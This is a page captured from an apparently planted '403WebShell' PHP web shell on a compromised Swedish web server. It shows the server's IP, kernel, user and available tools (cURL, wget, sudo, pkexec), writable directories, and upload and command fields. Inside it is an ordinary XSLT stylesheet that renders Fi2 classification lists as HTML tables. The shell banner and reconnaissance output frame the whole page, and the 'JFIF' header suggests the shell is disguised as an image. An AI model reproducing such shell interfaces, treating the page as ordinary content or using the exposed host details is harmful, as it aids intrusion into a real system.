????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 3.21.113.219
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/www.astacus.se/fi2/classlists/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www.astacus.se/fi2/classlists//Fi2list_transform.xslt
<?xml version="1.0" encoding="UTF-8"?>

<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
	<xsl:output method="html"/>
	<xsl:variable name="datatyper" select="document('http://www.astacus.se/fi2/valuelists/CA000_004_001.xml')//list-item"/>
	<xsl:template match="document">
		<html>
			<head>
				<title>
					<xsl:value-of select="metadata/identity"/>
				</title>
				<style type="text/css">span.infoRubrik {font-family:verdana;font-size:11px;font-weight:bold} 
span.infoText {font-family:verdana;font-size:11px}
th {font-family:verdana;font-size:11px;font-weight:bold;background-color:lightgray;text-align:center;padding:2px}
td {font-family:verdana;font-size:11px;padding:2px}
table {border-style:none;border-collapse:collapse}
table:huvud {border-style:none;padding:2px}
td:huvud {padding:2px}</style>
			</head>
			<body>
				<p>
					<img src="http://www.astacus.se/fi2/logos/logo_Astacus_head.png" height="50"/>
				</p>
				<br/>
				<br/>
				<table class="huvud">
					<tbody>
						<tr>
							<td class="huvud">
								<span class="infoRubrik">ListID: </span>
								<span class="infoText">
									<xsl:value-of select="metadata/identity"/>
								</span>
							</td>
						</tr>
						<tr>
							<td class="huvud">
								<span class="infoRubrik">Benämning: </span>
								<span class="infoText">
									<xsl:value-of select="metadata/description"/>
								</span>
							</td>
						</tr>
						<tr>
							<td class="huvud">
								<span class="infoRubrik">Version: </span>
								<span class="infoText">
									<xsl:value-of select="metadata/version"/>
								</span>
							</td>
						</tr>
						<tr>
							<td class="huvud">
								<span class="infoRubrik">Publiceringsdatum: </span>
								<span class="infoText">
									<xsl:value-of select="metadata/date"/>
								</span>
							</td>
						</tr>
						<tr>
							<td class="huvud">
								<span class="infoRubrik">Publicerat av: </span>
								<span class="infoText">
									<xsl:value-of select="metadata/author/name"/>
								</span>
							</td>
						</tr>
					</tbody>
				</table>
				<br/>
				<table border="1">
					<tbody>
						<tr>
							<th>Klasskod (code)</th>
							<th>Benämning (name)</th>
							<th>Beskrivning (trans desc)</th>
							<th>Eng beskr (descr)</th>
							<th>Datatyp (datatype)</th>
							<th>Refererad klasslista</th>
							<th>Refererad klass</th>
							<th>URL ref klasslista</th>
						</tr>
						<xsl:apply-templates select="validationlist/validationlistx"/>
						<xsl:apply-templates select=".//list-item"/>
					</tbody>
				</table>
			</body>
		</html>
	</xsl:template>
	<xsl:template match="validationlist">
		<xsl:variable name="fullkod2">
			<xsl:for-each select="ancestor-or-self::validationlist">
				<xsl:value-of select="normalize-space(list-value)"/>
			</xsl:for-each>
		</xsl:variable>
		<tr>
			<td>
				<xsl:value-of select="$fullkod2"/>
			</td>
			<td>
				<xsl:value-of select="list-description"/>
			</td>
			<td>
				<xsl:for-each select="list-definition">
					<xsl:value-of select="."/>
					<br/>
				</xsl:for-each>
			</td>
			<td/>
			<td/>
			<td/>
			<td/>
			<td/>
		</tr>
		<xsl:apply-templates select="validationlist"/>
		<xsl:apply-templates select="list-item"/>
	</xsl:template>
	<xsl:template match="list-item">
		<xsl:variable name="datatypid" select="item-datatype"/>
		<xsl:variable name="datatyp" select="$datatyper[item-value=$datatypid]/item-description"/>
		<tr>
			<td>
				<xsl:value-of select="item-value"/>
			</td>
			<td>
				<xsl:value-of select="item-description"/>
			</td>
			<td>
				<xsl:for-each select="item-definition">
					<xsl:value-of select="."/>
					<br/>
				</xsl:for-each>
			</td>
			<td/>
			<td>
				<xsl:value-of select="$datatyp"/>
			</td>
			<xsl:choose>
				<xsl:when test="count(item-referencelist/item-referenceitem) > 0">
					<xsl:variable name="referenspost" select="item-referencelist/item-referenceitem[1]"/>
					<xsl:variable name="referenslistaid" select="$referenspost/fi2reference_id"/>
					<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
					<td>
						<xsl:value-of select="$referenslistaid"/>
					</td>
					<td>
						<xsl:value-of select="$referenspost/item-referencevalue"/>
					</td>
					<td>
						<a href="{$referenslista/fi2reference_link}">
							<xsl:value-of select="$referenslista/fi2reference_name"/>
						</a>
					</td>
				</xsl:when>
				<xsl:otherwise>
					<td/>
					<td/>
					<td/>
				</xsl:otherwise>
			</xsl:choose>
			<xsl:apply-templates select="item-referencelist/item-referenceitem[position() > 1]"/>
		</tr>
	</xsl:template>
	<xsl:template match="item-referenceitem">
		<xsl:variable name="referenslistaid" select="fi2reference_id"/>
		<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
		<tr>
			<td/>
			<td/>
			<td/>
			<td/>
			<td/>
			<td>
				<xsl:value-of select="fi2reference_id"/>
			</td>
			<td>
				<xsl:value-of select="item-referencevalue"/>
			</td>
			<td>
				<a href="{$referenslista/fi2reference_link}">
					<xsl:value-of select="$referenslista/fi2reference_link"/>
				</a>
			</td>
		</tr>
	</xsl:template>
	<xsl:template match="fi2classcontainer">
		<xsl:variable name="listnamn">
			<xsl:value-of select="concat(fi2classlist_metadata/fi2classlist_identity,fi2classlist_metadata/fi2classlist)"/>
		</xsl:variable>
		<html>
			<head>
				<title>
					<xsl:value-of select="fi2classlist_metadata/fi2classlist_identity"/>
				</title>
				<style type="text/css">span.infoRubrik {font-family:verdana;font-size:11px;font-weight:bold} 
span.infoText {font-family:verdana;font-size:11px}
th {font-family:verdana;font-size:11px;font-weight:bold;background-color:lightgray;text-align:center;padding:2px}
td {font-family:verdana;font-size:11px;padding:2px}
table {border-style:none;border-collapse:collapse}
table:huvud {border-style:none;padding:2px}
td:huvud {padding:2px}</style>
			</head>
			<body>
				<p>
					<img src="http://www.fi2.se/graphics/logos/logo.gif" height="70"/>
				</p>
				<br/>
				<br/>
				<table class="huvud">
					<tbody>
						<tr>
							<td>
								<span class="infoRubrik">ListID: </span>
								<span class="infoText">
									<xsl:value-of select="fi2classlist_metadata/fi2classlist_identity"/>
								</span>
							</td>
						</tr>
						<tr>
							<td>
								<span class="infoRubrik">Benämning: </span>
								<span class="infoText">
									<xsl:value-of select="fi2classlist_metadata/fi2classlist_name"/>
								</span>
							</td>
						</tr>
						<tr>
							<td>
								<span class="infoRubrik">Version: </span>
								<span class="infoText">
									<xsl:value-of select="fi2classlist_metadata/fi2classlist_version"/>
								</span>
							</td>
						</tr>
						<tr>
							<td>
								<span class="infoRubrik">Publiceringsdatum: </span>
								<span class="infoText">
									<xsl:value-of select="fi2classlist_metadata/fi2classlist_date"/>
								</span>
							</td>
						</tr>
						<tr>
							<td>
								<span class="infoRubrik">Publicerat av: </span>
								<span class="infoText">
									<xsl:value-of select="fi2classlist_metadata/fi2classlist_author/fi2classlist_authorname"/>
								</span>
							</td>
						</tr>
					</tbody>
				</table>
				<br/>
				<table border="1">
					<tbody>
						<tr>
							<th>Klasskod (code)</th>
							<th>Benämning (name)</th>
							<th>Beskrivning (trans desc)</th>
							<th>Eng beskr (descr)</th>
							<th>Datatyp (datatype)</th>
							<th>Refererad klasslista</th>
							<th>Refererad klass</th>
							<th>URL ref klasslista</th>
						</tr>
						<xsl:apply-templates select="fi2classlist_list"/>
					</tbody>
				</table>
			</body>
		</html>
	</xsl:template>
	<xsl:template match="fi2classlist_list">
		<xsl:variable name="fullkod">
			<xsl:call-template name="sammanslagenkod">
				<xsl:with-param name="aktuell_list" select="."/>
			</xsl:call-template>
		</xsl:variable>
		<xsl:variable name="fullkod2">
			<xsl:for-each select="ancestor-or-self::fi2classlist_list">
				<xsl:value-of select="normalize-space(fi2classlist_code)"/>
			</xsl:for-each>
		</xsl:variable>
		<tr>
			<td>
				<xsl:value-of select="$fullkod2"/>
			</td>
			<td>
				<xsl:value-of select="fi2classlist_name"/>
			</td>
			<td>
				<xsl:value-of select="fi2classlist_descr[@lang='sv']"/>
			</td>
			<td>
				<xsl:value-of select="fi2classlist_descr[@lang='en']"/>
			</td>
			<td/>
			<td/>
			<td/>
			<td/>
		</tr>
		<xsl:apply-templates select="fi2classlist_list"/>
		<xsl:apply-templates select="fi2classlist_item"/>
	</xsl:template>
	<xsl:template match="fi2classlist_item">
		<xsl:variable name="datatypid" select="fi2class_dataformat"/>
		<xsl:variable name="datatyp" select="$datatyper[item-value=$datatypid]/item-description"/>
		<xsl:variable name="fullkod">
			<xsl:call-template name="sammanslagenkod">
				<xsl:with-param name="aktuell_list" select="."/>
			</xsl:call-template>
		</xsl:variable>
		<xsl:variable name="fullkod2">
			<xsl:for-each select="ancestor::fi2classlist_list">
				<xsl:value-of select="normalize-space(fi2classlist_code)"/>
			</xsl:for-each>
			<xsl:value-of select="normalize-space(fi2class_code)"/>
		</xsl:variable>
		<tr>
			<td>
				<xsl:value-of select="$fullkod2"/>
			</td>
			<td>
				<xsl:value-of select="fi2class_name"/>
			</td>
			<td>
				<xsl:value-of select="fi2class_descr[@lang='sv']"/>
			</td>
			<td>
				<xsl:value-of select="fi2class_descr[@lang='en']"/>
			</td>
			<td>
				<xsl:value-of select="$datatyp"/>
			</td>
			<xsl:choose>
				<xsl:when test="count(fi2class_referencelist/fi2class_referenceitem) > 0">
					<xsl:variable name="referenspost" select="fi2class_referencelist/fi2class_referenceitem[1]"/>
					<xsl:variable name="referenslistaid" select="$referenspost/fi2reference_id"/>
					<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
					<td>
						<xsl:value-of select="$referenslistaid"/>
					</td>
					<td>
						<xsl:value-of select="$referenspost/fi2class_referencevalue"/>
					</td>
					<td>
						<a href="{$referenslista/fi2reference_link}">
							<xsl:value-of select="$referenslista/fi2reference_name"/>
						</a>
					</td>
				</xsl:when>
				<xsl:otherwise>
					<td/>
					<td/>
					<td/>
				</xsl:otherwise>
			</xsl:choose>
			<xsl:apply-templates select="fi2class_referencelist/fi2class_referenceitem[position() > 1]"/>
		</tr>
	</xsl:template>
	<xsl:template match="fi2class_referenceitem">
		<xsl:variable name="referenslistaid" select="fi2reference_id"/>
		<xsl:variable name="referenslista" select="//fi2referencelist_item[fi2reference_id=$referenslistaid]"/>
		<tr>
			<td/>
			<td/>
			<td/>
			<td/>
			<td/>
			<td>
				<xsl:value-of select="fi2reference_id"/>
			</td>
			<td>
				<xsl:value-of select="fi2class_referencevalue"/>
			</td>
			<td>
				<a href="{$referenslista/fi2reference_link}">
					<xsl:value-of select="$referenslista/fi2reference_link"/>
				</a>
			</td>
		</tr>
	</xsl:template>
	<xsl:template name="sammanslagenkod">
		<xsl:param name="aktuell_list"/>
		<xsl:param name="aktuell_kod"/>
		<xsl:variable name="denna_kod">
			<xsl:choose>
				<xsl:when test="local-name($aktuell_list) = 'fi2classlist_list'">
					<xsl:value-of select="$aktuell_list/fi2classlist_code"/>
				</xsl:when>
				<xsl:otherwise>
					<xsl:value-of select="$aktuell_list/fi2class_code"/>
				</xsl:otherwise>
			</xsl:choose>
		</xsl:variable>
		<xsl:variable name="sammanslagen_kod" select="concat(normalize-space($denna_kod),$aktuell_kod)"/>
		<xsl:choose>
			<xsl:when test="$aktuell_list/ancestor::fi2classlist_list">
				<xsl:call-template name="sammanslagenkod">
					<xsl:with-param name="aktuell_list" select="$aktuell_list/ancestor::fi2classlist_list[1]"/>
					<xsl:with-param name="aktuell_kod" select="$sammanslagen_kod"/>
				</xsl:call-template>
			</xsl:when>
			<xsl:otherwise>
				<xsl:value-of select="$sammanslagen_kod"/>
			</xsl:otherwise>
		</xsl:choose>
	</xsl:template>
</xsl:stylesheet>

Youez - 2016 - github.com/yon3zu
LinuXploit